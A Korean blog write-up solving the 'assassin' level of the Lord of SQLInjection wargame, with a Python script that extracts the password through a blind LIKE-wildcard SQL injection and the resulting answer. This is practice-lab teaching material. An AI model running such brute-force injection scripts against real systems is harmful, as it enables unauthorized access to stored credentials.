[Writeup]/[Lord Of SQLInjection] assassin
2025. 3. 5. 20:46ㆍHacking/WebHacking Wargame Writeup
이전 문제들과 마찬가지로 blind injection 방식으로 풀면 된다.
→ 길이를 먼저 구하고, 전체 패스워드를 파이썬 코드로 구한다.
길이
$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";
→ 해당 코드에서 pw가 like 구문으로 입력 받는다는게 명시적으로 나타난다.
→ 따라서, 문자 하나를 대표하는 _를 사용한다.
→ _를 8개 적용하니 “Hello guest”가 출력되었다.
→ pw 길이가 8이다.
import requests
password = ''
for admin_len in range(8): ##pw의 길이 8만큼 수행
for admin_pass in range(ord('0'), ord('z')): #숫자 0에서 부터 문자 z까지 대입
URL = '<https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php>'
query = {'pw' : str(password) + chr(admin_pass) + '%'}
cookies = {'PHPSESSID' : '쿠키 정보'} #쿠키 정보에 각자의 쿠키 값을 대입
res = requests.get(URL, params = query, cookies = cookies)
if('Hello admin' in res.text or 'Hello guest' in res.text): #만약에 res.text에 Hello admin이 뜨면 pw 출력
password = password + chr(admin_pass)
print('Password detected (' + str(admin_len + 1) + ' words): ' + password)
break
⇒ 결과를 통해 pw=902EFD10을 대입한다.
→ 문제가 해결된다.
→ 클리어 창이 뜬다.
'Hacking > WebHacking Wargame Writeup' 카테고리의 다른 글
[Writeup]/[Lord Of SQLInjection] zombie_assassin (0) | 2025.03.05 |
---|---|
[Writeup]/[Lord Of SQLInjection] succubus (0) | 2025.03.05 |
[WriteUp]/[Lord Of SQLInjection] giant (0) | 2025.03.05 |
[Writeup]/[Lord Of SQLInjection] bugbear (0) | 2025.03.05 |
[WriteUp]/[Lord Of SQLInjection] darkknight (0) | 2025.03.05 |